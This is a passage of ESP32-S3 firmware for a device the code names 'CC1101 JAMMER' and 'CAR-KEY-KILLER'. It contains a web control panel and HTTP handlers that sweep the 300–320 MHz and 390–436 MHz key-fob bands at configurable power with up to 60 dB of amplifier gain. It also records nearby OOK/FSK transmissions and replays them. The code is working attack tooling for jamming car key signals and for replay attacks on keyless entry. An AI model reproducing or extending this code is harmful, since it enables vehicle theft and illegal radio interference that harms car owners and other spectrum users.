g.addColorStop(0,'rgba(134,242,138,0)');g.addColorStop(.5,'rgba(134,242,138,0.22)');g.addColorStop(1,'rgba(134,242,138,0)');
|
||
ctx.fillStyle=g;ctx.fillRect(cx-80,0,160,H-14);
|
||
// Cursor line with glow
|
||
ctx.save();ctx.shadowColor='rgba(134,242,138,.6)';ctx.shadowBlur=6;
|
||
ctx.strokeStyle='#86f28a';ctx.lineWidth=2;
|
||
ctx.beginPath();ctx.moveTo(cx,0);ctx.lineTo(cx,H-14);ctx.stroke();
|
||
ctx.restore();
|
||
// Cursor dot with glow
|
||
ctx.save();ctx.shadowColor='rgba(134,242,138,.8)';ctx.shadowBlur=10;
|
||
ctx.fillStyle='#86f28a';ctx.beginPath();ctx.arc(cx,(H-14)/2,4,0,Math.PI*2);ctx.fill();
|
||
ctx.restore();
|
||
// Top notch
|
||
ctx.fillStyle='#86f28a';ctx.fillRect(Math.max(0,cx-2),0,4,4);
|
||
} else if(!active){
|
||
ctx.strokeStyle='#2a1216';ctx.lineWidth=1;
|
||
ctx.beginPath();ctx.moveTo(W/2,0);ctx.lineTo(W/2,H-14);ctx.stroke();
|
||
}
|
||
// Axis bar
|
||
ctx.fillStyle='#0a180c';ctx.fillRect(0,H-14,W,14);
|
||
ctx.fillStyle='#3a7a3e';ctx.font='9px monospace';
|
||
ctx.textAlign='left';ctx.fillText(lo.toFixed(1)+' MHz',3,H-3);
|
||
ctx.textAlign='right';ctx.fillText((lo+sp).toFixed(1)+' MHz',W-3,H-3);
|
||
if(active&&freq){ctx.fillStyle='#86f28a';ctx.textAlign='center';ctx.fillText((+freq).toFixed(4)+' MHz',tx(freq),H-3);}
|
||
}
|
||
|
||
function drawSp(id,data,color,minH,maxH){
|
||
const cv=document.getElementById(id);if(!cv)return;
|
||
const W=cv.offsetWidth||280,H=44;cv.width=W;cv.height=H;
|
||
const ctx=cv.getContext('2d');
|
||
ctx.fillStyle='#020504';ctx.fillRect(0,0,W,H);
|
||
const vd=data.filter(v=>v!==null);if(vd.length<2)return;
|
||
const mn=minH??Math.min(...vd),mx=maxH??Math.max(...vd),rng=Math.max(mx-mn,0.5);
|
||
const toY=v=>H-4-((v-mn)/rng*(H-8));
|
||
// Fill
|
||
ctx.beginPath();let fs=true;
|
||
data.forEach((v,i)=>{if(v===null){fs=true;return;}const x=i/(HS-1)*W,y=toY(v);if(fs){ctx.moveTo(x,H-4);ctx.lineTo(x,y);fs=false;}else ctx.lineTo(x,y);});
|
||
ctx.lineTo(W,H-4);ctx.closePath();
|
||
const gf=ctx.createLinearGradient(0,0,0,H);gf.addColorStop(0,color+'30');gf.addColorStop(1,color+'05');
|
||
ctx.fillStyle=gf;ctx.fill();
|
||
// Line with glow
|
||
ctx.save();ctx.shadowColor=color;ctx.shadowBlur=4;
|
||
ctx.strokeStyle=color;ctx.lineWidth=1.5;ctx.beginPath();fs=true;
|
||
data.forEach((v,i)=>{if(v===null){fs=true;return;}const x=i/(HS-1)*W,y=toY(v);if(fs){ctx.moveTo(x,y);fs=false;}else ctx.lineTo(x,y);});
|
||
ctx.stroke();ctx.restore();
|
||
// Range labels
|
||
ctx.fillStyle=color+'90';ctx.font='8px monospace';
|
||
ctx.textAlign='left';ctx.fillText(mn.toFixed(0),2,H-3);
|
||
ctx.textAlign='right';ctx.fillText(mx.toFixed(0),W-2,H-3);
|
||
}
|
||
|
||
function applyTelemetry(t){
|
||
T=t;
|
||
const now=Date.now(),dt=(now-lastP)/1000;lastP=now;
|
||
// 24h progress
|
||
const pct=Math.min(100,t.uptime_ms/864000);
|
||
document.getElementById('progBar').style.width=pct+'%';
|
||
document.getElementById('mission').textContent=fu(t.uptime_ms)+' / 24h ('+pct.toFixed(1)+'%)';
|
||
// Banner
|
||
const jam=t.jamming_enabled;
|
||
document.getElementById('banner').className='banner '+(jam?'ban-on':'ban-off');
|
||
document.getElementById('bt').textContent=jam?'◉ JAMMING ACTIVE ◉':'STANDBY';
|
||
document.getElementById('bt').style.color=jam?'#86f28a':'#f28a86';
|
||
const bands=[];if(t.radio1_active)bands.push('300–320 MHz');if(t.radio2_active)bands.push('390–436 MHz');
|
||
document.getElementById('bs').textContent=jam&&bands.length
|
||
?`${bands.join(' + ')} | ${t.jam_power}dBm + ${t.amp_gain_db}dB amp = ${t.eff_power_dbm}dBm (${(t.eff_power_w*1000).toFixed(0)}mW)`
|
||
:(jam?'No radios active':'Ready — press Start Jamming');
|
||
document.getElementById('bs').style.color=jam&&bands.length?'#86f28a':jam?'#f28a86':'#4fbf59';
|
||
document.getElementById('tog').textContent=jam?'Stop Jamming':'Start Jamming';
|
||
// Metrics
|
||
document.getElementById('mUp').textContent=fu(t.uptime_ms);
|
||
document.getElementById('mPow').innerHTML=t.jam_power+'<span class="su">dBm</span>';
|
||
document.getElementById('mEff').innerHTML=t.eff_power_dbm+'<span class="su">dBm</span>';
|
||
document.getElementById('mW').innerHTML=(t.eff_power_w*1000).toFixed(0)+'<span class="su">mW</span>';
|
||
const tEl=document.getElementById('mTmp');tEl.innerHTML=t.temp_c+'<span class="su">°C</span>';tEl.className='sv '+ct(+t.temp_c);
|
||
const hkb=t.free_heap/1024;const hEl=document.getElementById('mH');hEl.innerHTML=hkb.toFixed(0)+'<span class="su">kB</span>';hEl.className='sv '+ch(hkb);
|
||
const mhkb=t.min_heap/1024;document.getElementById('mMH').innerHTML=mhkb.toFixed(0)+'<span class="su">kB</span>';
|
||
document.getElementById('mDw').innerHTML=t.sweep_dwell_ms+'<span class="su">ms</span>';
|
||
const h1=t.hop_count1||0,h2=t.hop_count2||0,dh=(h1-ph1+h2-ph2),rate=dt>0?(dh/dt).toFixed(0):0;
|
||
ph1=h1;ph2=h2;
|
||
document.getElementById('mH1').textContent=h1.toLocaleString();
|
||
document.getElementById('mH2').textContent=h2.toLocaleString();
|
||
document.getElementById('mHR').innerHTML=rate+'<span class="su">/s</span>';
|
||
document.getElementById('mCl').textContent=t.ap_clients??'—';
|
||
// Trails + sweep canvases
|
||
const sp1=Math.max(t.sweep_span1||20,0.001),sp2=Math.max(t.sweep_span2||46,0.001);
|
||
updTr(tr1,(t.sweep_freq1-(t.sweep_center1-sp1/2))/sp1);
|
||
updTr(tr2,(t.sweep_freq2-(t.sweep_center2-sp2/2))/sp2);
|
||
drawSw('c1',t.sweep_freq1,t.sweep_center1||310,sp1,t.radio1_active,tr1,MK1);
|
||
drawSw('c2',t.sweep_freq2,t.sweep_center2||413,sp2,t.radio2_active,tr2,MK2);
|
||
document.getElementById('f1c').textContent=ff(t.sweep_freq1);
|
||
document.getElementById('f2c').textContent=ff(t.sweep_freq2);
|
||
// Dots
|
||
const sd=(id,ok)=>{const d=document.getElementById(id);d.className='dot '+(ok?'on':'off');};
|
||
sd('d1',t.radio1_active);sd('d2',t.radio2_active);sd('r1d',t.radio1_active);sd('r2d',t.radio2_active);
|
||
// Radio status
|
||
const rs=s=>s===2?'TRANSMITTING':s===1?'STANDBY':s===0?'INIT':'ERROR';
|
||
document.getElementById('r1s').textContent=rs(t.radio1_status)+' — '+ff(t.sweep_freq1);
|
||
document.getElementById('r2s').textContent=rs(t.radio2_status)+' — '+ff(t.sweep_freq2);
|
||
document.getElementById('r1e').textContent=t.radio1_error||'';
|
||
document.getElementById('r2e').textContent=t.radio2_error||'';
|
||
// Controls sync
|
||
if(t.jam_power_idx!==undefined){document.getElementById('jp').value=t.jam_power_idx;document.getElementById('pv').textContent=t.jam_power;}
|
||
if(!document.activeElement.id.startsWith('s')){
|
||
document.getElementById('sd').value=t.sweep_dwell_ms||5;
|
||
document.getElementById('ss1').value=t.sweep_steps1||25;
|
||
document.getElementById('ss2').value=t.sweep_steps2||47;
|
||
document.getElementById('sp1').value=t.sweep_span1||20;
|
||
document.getElementById('sp2').value=t.sweep_span2||46;
|
||
}
|
||
if(!document.getElementById('ag').matches(':focus'))document.getElementById('ag').value=t.amp_gain_db||20;
|
||
// History
|
||
hT[hi]=+t.temp_c;hH[hi]=t.free_heap/1024;hi=(hi+1)%HS;
|
||
document.getElementById('tNow').textContent=(+t.temp_c).toFixed(1)+'°C';
|
||
document.getElementById('tNow').className=ct(+t.temp_c);
|
||
document.getElementById('hNow').textContent=(t.free_heap/1024).toFixed(0)+' kB';
|
||
document.getElementById('hNow').className=ch(t.free_heap/1024);
|
||
drawSp('cT',hT,'#86f28a',20,90);
|
||
drawSp('cH',hH,'#4fbf59',0,320);
|
||
const cd=document.getElementById('connDot');cd.style.background='#86f28a';cd.style.boxShadow='0 0 8px rgba(134,242,138,.7)';
|
||
}
|
||
|
||
let logTick=0;
|
||
async function poll(){
|
||
try{
|
||
const tr=await fetch('/api/telemetry');applyTelemetry(await tr.json());
|
||
if(++logTick%5===0){ // fetch log every 5s instead of every second
|
||
const lr=await fetch('/api/log');
|
||
const log=document.getElementById('log');
|
||
const atBot=log.scrollHeight-log.scrollTop<=log.clientHeight+40;
|
||
log.textContent=await lr.text();
|
||
if(atBot)log.scrollTop=log.scrollHeight;
|
||
}
|
||
}catch(e){
|
||
const cd=document.getElementById('connDot');cd.style.background='#f28a86';cd.style.boxShadow='0 0 8px rgba(242,138,134,.6)';
|
||
document.getElementById('bt').textContent='OFFLINE';
|
||
}
|
||
setTimeout(poll, 1000);
|
||
}
|
||
|
||
document.getElementById('jp').addEventListener('input',e=>document.getElementById('pv').textContent=PT[+e.target.value]);
|
||
document.getElementById('tog').addEventListener('click',async()=>{try{const r=await fetch('/api/toggle',{method:'POST'});applyTelemetry({...T,jamming_enabled:(await r.json()).enabled});}catch(e){}});
|
||
document.getElementById('apow').addEventListener('click',async()=>{try{const i=+document.getElementById('jp').value;const r=await fetch('/api/settings',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({power_idx:i})});const d=await r.json();if(d.success){T.jam_power=d.jam_power;T.jam_power_idx=i;}}catch(e){}});
|
||
document.getElementById('aamp').addEventListener('click',async()=>{try{await fetch('/api/amp',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({gain_db:+document.getElementById('ag').value})});}catch(e){}});
|
||
document.getElementById('asw').addEventListener('click',async()=>{try{await fetch('/api/sweep',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({dwell_ms:+document.getElementById('sd').value,steps1:+document.getElementById('ss1').value,steps2:+document.getElementById('ss2').value,span1_mhz:+document.getElementById('sp1').value,span2_mhz:+document.getElementById('sp2').value})});}catch(e){}});
|
||
document.getElementById('dl').addEventListener('click',()=>{const a=document.createElement('a');a.href='/api/log';a.download='jammer-log.txt';a.click();});
|
||
|
||
poll();
|
||
|
||
// ── Capture / Replay ─────────────────────────────────────────────────────────
|
||
let capPolling=false;
|
||
let capWaveData=[];
|
||
|
||
async function capFetch(url){try{return await(await fetch(url)).json();}catch(e){return null;}}
|
||
|
||
async function capStartRec(){
|
||
const freq=+document.getElementById('capFreq').value;
|
||
const radio=+document.getElementById('capRadio').value;
|
||
const mod=document.getElementById('capMod').value;
|
||
if(isNaN(freq)||freq<290||freq>450){alert('Frequency must be 290-450 MHz');return;}
|
||
const d=await capFetch('/api/capture/start?freq='+freq+'&radio='+radio+'&mod='+mod);
|
||
if(d){capSetStatus('RECORDING',d);capPollStart();}
|
||
}
|
||
|
||
async function capStop(){
|
||
const d=await capFetch('/api/capture/stop');
|
||
if(d){capSetStatus('STOPPED',d);capPollStop();}
|
||
await capLoadWave();
|
||
}
|
||
|
||
async function capReplay(){
|
||
const radio=+document.getElementById('capRadio').value;
|
||
const d=await capFetch('/api/capture/replay?radio='+radio);
|
||
if(d){capSetStatus('REPLAYING',d);}
|
||
}
|
||
|
||
async function capLoadWave(){
|
||
const w=await capFetch('/api/capture/wave');
|
||
if(!w||!w.length)return;
|
||
capWaveData=w;
|
||
capDrawWave();
|
||
}
|
||
|
||
function capDrawWave(){
|
||
const cv=document.getElementById('capWave');
|
||
if(!cv||!capWaveData.length)return;
|
||
const W=cv.width,H=cv.height;
|
||
const ctx=cv.getContext('2d');
|
||
ctx.clearRect(0,0,W,H);
|
||
ctx.fillStyle='#020504';ctx.fillRect(0,0,W,H);
|
||
const n=capWaveData.length;
|
||
const bw=W/n;
|
||
ctx.fillStyle='#4fbf59';
|
||
for(let i=0;i<n;i++){
|
||
const h=Math.round(capWaveData[i]/100*(H-2));
|
||
ctx.fillRect(Math.round(i*bw),H-h,Math.max(1,Math.ceil(bw)),h);
|
||
}
|
||
}
|
||
|
||
function capSetStatus(label,d){
|
||
document.getElementById('capStat').textContent=label;
|
||
const dispBits=d?(d.rec_bits||d.bits):0;if(dispBits!==undefined)document.getElementById('capBits').textContent=dispBits.toLocaleString()+' bits';
|
||
if(d&&d.dur_ms)document.getElementById('capDur').textContent=(d.dur_ms/1000).toFixed(2)+'s';
|
||
if(d&&d.est_bps)document.getElementById('capBps').textContent=d.est_bps.toLocaleString()+' bps';
|
||
if(d&&d.duty_pct!==undefined)document.getElementById('capDuty').textContent=d.duty_pct+'%';
|
||
if(d&&d.freq)document.getElementById('capRecFreq').textContent=d.freq.toFixed(3)+' MHz';
|
||
const pct=d?(d.mode===1&&d.buf_bits?Math.round(d.bits*100/d.buf_bits):(d.mode===3&&d.rec_bits?Math.round(d.bits*100/d.rec_bits):100)):0;
|
||
document.getElementById('capProg').style.width=(d&&(d.mode===2||d.mode===3)?100:pct)+'%';
|
||
}
|
||
|
||
let capPollTimer=null;
|
||
function capPollStart(){if(!capPollTimer)capPollTimer=setInterval(capPollStatus,400);}
|
||
function capPollStop(){clearInterval(capPollTimer);capPollTimer=null;}
|
||
|
||
async function capPollStatus(){
|
||
const d=await capFetch('/api/capture/status');
|
||
if(!d)return;
|
||
const modes=['IDLE','RECORDING','CAPTURED','REPLAYING'];
|
||
capSetStatus(modes[d.mode]||'?',d);
|
||
if(d.mode===2||d.mode===0){capPollStop();if(d.mode===2)capLoadWave();}
|
||
}
|
||
|
||
window.addEventListener('resize',capDrawWave);
|
||
</script></body></html>
|
||
)HTML";
|
||
|
||
static void handleRoot() {
|
||
// ETag based on compile timestamp — browser caches until next flash
|
||
server.sendHeader("ETag", "\"" __DATE__ __TIME__ "\"");
|
||
server.sendHeader("Cache-Control", "no-cache"); // revalidate via ETag, don't re-download
|
||
if (server.hasHeader("If-None-Match") &&
|
||
server.header("If-None-Match") == "\"" __DATE__ __TIME__ "\"") {
|
||
server.send(304); // Not Modified — browser uses cached copy, saves ~15 KB
|
||
return;
|
||
}
|
||
server.setContentLength(sizeof(kHtml) - 1);
|
||
server.send(200, "text/html; charset=utf-8", "");
|
||
server.sendContent(kHtml);
|
||
}
|
||
|
||
static void handleLog() {
|
||
server.send(200, "text/plain; charset=utf-8", getLogsText());
|
||
}
|
||
|
||
static void handleTelemetry() {
|
||
float tempC = temperatureRead();
|
||
int8_t effDbm = jamPower + ampGainDb;
|
||
float effWatts = powf(10.0f, effDbm / 10.0f) / 1000.0f; // dBm -> watts
|
||
|
||
String err1 = jsonEscape(radio1Error);
|
||
String err2 = jsonEscape(radio2Error);
|
||
|
||
static char jsonBuf[1024]; // Generously sized to avoid fragmentation
|
||
snprintf(jsonBuf, sizeof(jsonBuf),
|
||
"{"
|
||
"\"uptime_ms\":%lu,"
|
||
"\"free_heap\":%lu,"
|
||
"\"temp_c\":%.1f,"
|
||
"\"jamming_enabled\":%s,"
|
||
"\"jam_power\":%d,"
|
||
"\"jam_power_idx\":%d,"
|
||
"\"amp_gain_db\":%d,"
|
||
"\"eff_power_dbm\":%d,"
|
||
"\"eff_power_w\":%.3f,"
|
||
"\"sweep_freq1\":%.4f,"
|
||
"\"sweep_center1\":%.2f,"
|
||
"\"sweep_span1\":%.2f,"
|
||
"\"sweep_steps1\":%u,"
|
||
"\"sweep_freq2\":%.4f,"
|
||
"\"sweep_center2\":%.2f,"
|
||
"\"sweep_span2\":%.2f,"
|
||
"\"sweep_steps2\":%u,"
|
||
"\"sweep_dwell_ms\":%lu,"
|
||
"\"radio1_status\":%d,"
|
||
"\"radio1_error\":\"%s\","
|
||
"\"radio1_freq\":%.4f,"
|
||
"\"radio1_active\":%s,"
|
||
"\"radio2_status\":%d,"
|
||
"\"radio2_error\":\"%s\","
|
||
"\"radio2_freq\":%.4f,"
|
||
"\"radio2_active\":%s,"
|
||
"\"hop_count1\":%lu,"
|
||
"\"hop_count2\":%lu,"
|
||
"\"min_heap\":%lu,"
|
||
"\"ap_clients\":%d"
|
||
"}",
|
||
(unsigned long)(millis() - uptimeStart),
|
||
(unsigned long)ESP.getFreeHeap(),
|
||
(double)tempC,
|
||
jammingEnabled ? "true" : "false",
|
||
(int)jamPower,
|
||
(int)jamPowerIdx,
|
||
(int)ampGainDb,
|
||
(int)effDbm,
|
||
(double)effWatts,
|
||
(double)sweepFreq1,
|
||
(double)SWEEP_1_CENTER_MHZ,
|
||
(double)sweep1SpanMhz,
|
||
(unsigned)sweep1Steps,
|
||
(double)sweepFreq2,
|
||
(double)SWEEP_2_CENTER_MHZ,
|
||
(double)sweep2SpanMhz,
|
||
(unsigned)sweep2Steps,
|
||
(unsigned long)sweepDwellMs,
|
||
(int)radio1Status,
|
||
err1.c_str(),
|
||
(double)sweepFreq1,
|
||
radio1Status == 2 ? "true" : "false",
|
||
(int)radio2Status,
|
||
err2.c_str(),
|
||
(double)sweepFreq2,
|
||
radio2Status == 2 ? "true" : "false",
|
||
(unsigned long)hopCount1,
|
||
(unsigned long)hopCount2,
|
||
(unsigned long)(minFreeHeap == 0xFFFFFFFF ? ESP.getFreeHeap() : minFreeHeap),
|
||
(int)WiFi.softAPgetStationNum()
|
||
);
|
||
|
||
server.send(200, "application/json; charset=utf-8", jsonBuf);
|
||
}
|
||
|
||
static void handleToggle() {
|
||
if (jammingEnabled) {
|
||
stopJamming();
|
||
oledNotify("STANDBY", "Jamming stopped");
|
||
} else {
|
||
jammingEnabled = true; // must be set before startJamming so sweep loop and watchdog see it
|
||
startJamming();
|
||
if (radio1Status != 2 && radio2Status != 2) {
|
||
jammingEnabled = false; // both radios failed — don't pretend we're jamming
|
||
oledNotify("RADIO FAIL", "Check connections");
|
||
} else {
|
||
oledNotify("JAMMING", "STARTED");
|
||
}
|
||
}
|
||
|
||
// Save new state
|
||
preferences.putBool("jamEnabled", jammingEnabled);
|
||
|
||
String json = "{\"enabled\":" + String(jammingEnabled ? "true" : "false") + "}";
|
||
server.send(200, "application/json; charset=utf-8", json);
|
||
}
|
||
|
||
static void handleSettings() {
|
||
if (server.hasArg("plain")) {
|
||
String body = server.arg("plain");
|
||
body.trim();
|
||
|
||
// Expected format: {"power_idx":7}
|
||
int keyPos = body.indexOf("\"power_idx\":");
|
||
if (keyPos >= 0) {
|
||
int colonPos = keyPos + 12;
|
||
int endPos = body.indexOf(",", colonPos);
|
||
if (endPos == -1) endPos = body.indexOf("}", colonPos);
|
||
if (endPos > colonPos) {
|
||
String valStr = body.substring(colonPos, endPos);
|
||
valStr.trim();
|
||
uint8_t idx = (uint8_t)constrain(valStr.toInt(), 0, JAM_POWER_LEVELS - 1);
|
||
updateJamPower(idx);
|
||
{
|
||
char l2[22];
|
||
snprintf(l2, sizeof(l2), "%d dBm (eff %d dBm)",
|
||
(int)kPowerTable[idx], (int)kPowerTable[idx] + (int)ampGainDb);
|
||
oledNotify("POWER SET", l2);
|
||
}
|
||
}
|
||
} else {
|
||
logLine("[HTTP] No power_idx in JSON body");
|
||
}
|
||
} else {
|
||
logLine("[HTTP] No JSON body received");
|
||
}
|
||
|
||
// Return current state
|
||
String json = "{\"success\":true,\"power_idx\":" + String(jamPowerIdx) + ",\"jam_power\":" + String(jamPower) + "}";
|
||
server.send(200, "application/json; charset=utf-8", json);
|
||
}
|
||
|
||
static void handleSweepSettings() {
|
||
if (server.hasArg("plain")) {
|
||
String body = server.arg("plain");
|
||
|
||
auto extractFloat = [&](const char* key, float& val, float mn, float mx) {
|
||
int p = body.indexOf(key);
|
||
if (p < 0) return;
|
||
int c = p + strlen(key);
|
||
int e = body.indexOf(",", c); if (e < 0) e = body.indexOf("}", c);
|
||
if (e > c) { float v = body.substring(c, e).toFloat(); val = constrain(v, mn, mx); }
|
||
};
|
||
auto extractInt = [&](const char* key, uint32_t& val, uint32_t mn, uint32_t mx) {
|
||
int p = body.indexOf(key);
|
||
if (p < 0) return;
|
||
int c = p + strlen(key);
|
||
int e = body.indexOf(",", c); if (e < 0) e = body.indexOf("}", c);
|
||
if (e > c) { uint32_t v = (uint32_t)body.substring(c, e).toInt(); val = constrain(v, mn, mx); }
|
||
};
|
||
|
||
extractInt( "\"dwell_ms\":", sweepDwellMs, 1, 500);
|
||
uint32_t s1 = sweep1Steps, s2 = sweep2Steps;
|
||
extractInt( "\"steps1\":", s1, 2, 100); sweep1Steps = (uint8_t)s1;
|
||
extractInt( "\"steps2\":", s2, 2, 100); sweep2Steps = (uint8_t)s2;
|
||
extractFloat("\"span1_mhz\":", sweep1SpanMhz, 0.1f, 50.0f);
|
||
extractFloat("\"span2_mhz\":", sweep2SpanMhz, 0.1f, 80.0f);
|
||
|
||
preferences.putInt("sweepDwell", (int)sweepDwellMs);
|
||
preferences.putInt("sweep1Steps", sweep1Steps);
|
||
preferences.putInt("sweep2Steps", sweep2Steps);
|
||
preferences.putFloat("sweep1Span", sweep1SpanMhz);
|
||
preferences.putFloat("sweep2Span", sweep2SpanMhz);
|
||
|
||
if (radio1Status >= 1) {
|
||
sweepStep1 = 0;
|
||
buildSweepTable(radio1, CC1101_1_CS, sweepTable1, sweep1Steps, SWEEP_1_CENTER_MHZ, sweep1SpanMhz);
|
||
}
|
||
if (radio2Status >= 1) {
|
||
sweepStep2 = 0;
|
||
buildSweepTable(radio2, CC1101_2_CS, sweepTable2, sweep2Steps, SWEEP_2_CENTER_MHZ, sweep2SpanMhz);
|
||
}
|
||
|
||
logLine("[SWEEP] dwell=" + String(sweepDwellMs) + "ms steps=" +
|
||
String(sweep1Steps) + "/" + String(sweep2Steps) +
|
||
" span=" + String(sweep1SpanMhz,2) + "/" + String(sweep2SpanMhz,2) + "MHz");
|
||
}
|
||
server.send(200, "application/json; charset=utf-8",
|
||
"{\"success\":true,\"dwell_ms\":" + String(sweepDwellMs) +
|
||
",\"steps1\":" + String(sweep1Steps) +
|
||
",\"steps2\":" + String(sweep2Steps) +
|
||
",\"span1_mhz\":" + String(sweep1SpanMhz, 2) +
|
||
",\"span2_mhz\":" + String(sweep2SpanMhz, 2) + "}");
|
||
}
|
||
|
||
static void handleAmpSettings() {
|
||
if (server.hasArg("plain")) {
|
||
String body = server.arg("plain");
|
||
int p = body.indexOf("\"gain_db\":");
|
||
if (p >= 0) {
|
||
int c = p + 10;
|
||
int e = body.indexOf(",", c); if (e < 0) e = body.indexOf("}", c);
|
||
if (e > c) {
|
||
ampGainDb = (int8_t)constrain(body.substring(c, e).toInt(), 0, 60);
|
||
preferences.putInt("ampGainDb", ampGainDb);
|
||
logLine("[AMP] Gain set to " + String(ampGainDb) + " dB");
|
||
}
|
||
}
|
||
}
|
||
server.send(200, "application/json; charset=utf-8",
|
||
"{\"success\":true,\"gain_db\":" + String(ampGainDb) + "}");
|
||
}
|
||
|
||
static void handleHealth() {
|
||
static char buf[128];
|
||
snprintf(buf, sizeof(buf),
|
||
"{\"ok\":true,\"uptime_ms\":%lu,\"heap\":%lu,\"ap_clients\":%d}",
|
||
(unsigned long)(millis() - uptimeStart),
|
||
(unsigned long)ESP.getFreeHeap(),
|
||
(int)WiFi.softAPgetStationNum());
|
||
server.send(200, "application/json; charset=utf-8", buf);
|
||
}
|
||
|
||
// ─── Capture / replay HTTP handlers ──────────────────────────────────────────
|
||
static void handleCaptureStart() {
|
||
const float freq = server.hasArg("freq") ? server.arg("freq").toFloat() : 315.0f;
|
||
const uint8_t radio = server.hasArg("radio") ? (uint8_t)server.arg("radio").toInt() : 1;
|
||
const bool isOOK = server.hasArg("mod") ? (server.arg("mod") == "ook") : true;
|
||
startCapture(freq, radio, isOOK);
|
||
server.send(200, "application/json", "{\"status\":\"recording\",\"freq\":" +
|
||
String(freq, 3) + ",\"duration_ms\":" + String(CAP_DURATION_S * 1000) + "}");
|
||
}
|
||
|
||
static void handleCaptureStop() {
|
||
stopCapture();
|
||
server.send(200, "application/json", "{\"status\":\"stopped\",\"bits\":" +
|
||
String(capRecBits) + "}");
|
||
}
|
||
|
||
static void handleCaptureReplay() {
|
||
const uint8_t radio = server.hasArg("radio") ? (uint8_t)server.arg("radio").toInt() : 1;
|
||
// startReplay doesn't need isOOK from UI because it uses capIsOOK saved during capture
|
||
startReplay(radio);
|
||
server.send(200, "application/json", "{\"status\":\"replaying\",\"bits\":" +
|
||
String(capRecBits) + ",\"freq\":" + String(capFreq, 3) + "}");
|
||
}
|
||
|
||
static void handleCaptureStatus() {
|
||
static const char* const modeStr[] = {"idle","recording","recorded","replaying"};
|
||
const uint8_t m = (uint8_t)capMode;
|
||
static char buf[512];
|
||
int n = snprintf(buf, sizeof(buf),
|
||
"{\"mode\":%u,\"mode_str\":\"%s\","
|
||
"\"bits\":%lu,\"buf_bits\":%lu,\"rec_bits\":%lu,"
|
||
"\"pct\":%lu,\"freq\":%.3f",
|
||
(unsigned)m,
|
||
modeStr[m < 4 ? m : 0],
|
||
(unsigned long)capIdx,
|
||
(unsigned long)(CAP_BUF_BYTES * 8),
|
||
(unsigned long)capRecBits,
|
||
(unsigned long)(capIdx * 100UL / (CAP_BUF_BYTES * 8)),
|
||
(double)capFreq);
|
||
|
||
if (capMode == CapMode::RECORDED || capMode == CapMode::REPLAYING) {
|
||
if (capRecBits >= 100) {
|
||
uint32_t ones = 0, transitions = 0;
|
||
uint8_t prev = (capBuf[0] >> 0) & 1u;
|
||
for (uint32_t i = 1; i < capRecBits; i++) {
|
||
const uint8_t b = (capBuf[i >> 3] >> (i & 7)) & 1u;
|
||
if (b) ones++;
|
||
if (b != prev) { transitions++; prev = b; }
|
||
}
|
||
const uint32_t avgRL = (transitions > 0) ? (capRecBits / transitions) : capRecBits;
|
||
n += snprintf(buf + n, sizeof(buf) - n,
|
||
",\"dur_ms\":%lu,\"transitions\":%lu,\"est_bps\":%lu,\"duty_pct\":%lu",
|
||
(unsigned long)(capRecBits * 1000 / CAP_SAMPLE_HZ),
|
||
(unsigned long)transitions,
|
||
(unsigned long)(avgRL > 0 ? CAP_SAMPLE_HZ / avgRL : 0),
|
||
(unsigned long)(ones * 100UL / capRecBits));
|
||
}
|
||
}
|
||
snprintf(buf + n, sizeof(buf) - n, "}");
|
||
server.send(200, "application/json; charset=utf-8", buf);
|
||
}
|
||
|
||
// Returns 256 data points (0-100 = % carrier-on) for waveform canvas rendering.
|
||
// Static buffer: worst case = 256 * 4 chars ("100,") + 2 brackets + nul = 1026 bytes.
|
||
static void handleCaptureWave() {
|
||
if (!capRecBits) { server.send(200, "application/json", "[]"); return; }
|
||
static char waveBuf[1280];
|
||
const uint32_t N = 256;
|
||
const uint32_t bpp = max(1u, capRecBits / N);
|
||
int pos = 0;
|
||
waveBuf[pos++] = '[';
|
||
for (uint32_t p = 0; p < N; p++) {
|
||
uint32_t ones = 0;
|
||
const uint32_t start = p * bpp;
|
||
const uint32_t end = min(start + bpp, capRecBits);
|
||
for (uint32_t b = start; b < end; b++) {
|
||
ones += (capBuf[b >> 3] >> (b & 7)) & 1u;
|
||
}
|
||
pos += snprintf(waveBuf + pos, sizeof(waveBuf) - pos, "%lu%s",
|
||
(unsigned long)(bpp > 0 ? ones * 100 / bpp : 0),
|
||
(p < N - 1) ? "," : "");
|
||
}
|
||
waveBuf[pos++] = ']';
|
||
waveBuf[pos] = '\0';
|
||
server.send(200, "application/json", waveBuf);
|
||
}
|
||
|
||
static void handleNotFound() {
|
||
const String uri = server.uri();
|
||
logLine("[HTTP] 404 " + uri);
|
||
server.send(404, "text/plain", "404: Not found");
|
||
}
|
||
|
||
void setup() {
|
||
// Shorter delay for Serial to initialize on ESP32-S3 in production
|
||
Serial.begin(115200);
|
||
|
||
// OLED init — SW_I2C bit-bangs GPIO17/18 directly; no Wire needed.
|
||
// begin() always returns true for SW_I2C so just call it and force oledOk.
|
||
u8g2.begin();
|
||
u8g2.setContrast(255); // max brightness — some panels boot dim
|
||
oledOk = true;
|
||
Serial.println("[OLED] SW_I2C init done (GPIO17=SDA GPIO18=SCL)");
|
||
|
||
u8g2.clearBuffer();
|
||
u8g2.setFont(u8g2_font_7x13_tf);
|
||
u8g2.drawStr(18, 22, "CC1101");
|
||
u8g2.drawStr(12, 38, "JAMMER");
|
||
u8g2.setFont(u8g2_font_5x7_tf);
|
||
u8g2.drawStr(14, 54, "ESP32-S3 BOOTING...");
|
||
u8g2.sendBuffer();
|
||
|
||
// Wait for Serial to be ready (timeout after 500ms for production)
|
||
unsigned long start = millis();
|
||
while (!Serial && (millis() - start) < 500) {
|
||
delay(10);
|
||
}
|
||
|
||
// Immediate debug output to verify boot
|
||
Serial.println("=== CAR-KEY-KILLER BOOT START ===");
|
||
Serial.flush();
|
||
|
||
uptimeStart = millis();
|
||
|
||
// Load preferences
|
||
preferences.begin("jammer4", false);
|
||
jammingEnabled = preferences.getBool("jamEnabled", JAMMING_ENABLED);
|
||
jamPowerIdx = (uint8_t)preferences.getInt("jamPowerIdx", DEFAULT_JAM_POWER_IDX);
|
||
ampGainDb = (int8_t) preferences.getInt("ampGainDb", DEFAULT_AMP_GAIN_DB);
|
||
sweepDwellMs = (uint32_t)preferences.getInt("sweepDwell", SWEEP_DWELL_MS);
|
||
sweep1Steps = (uint8_t)preferences.getInt("sweep1Steps", SWEEP_1_STEPS);
|
||
sweep2Steps = (uint8_t)preferences.getInt("sweep2Steps", SWEEP_2_STEPS);
|
||
sweep1SpanMhz = preferences.getFloat("sweep1Span", SWEEP_1_SPAN_MHZ);
|
||
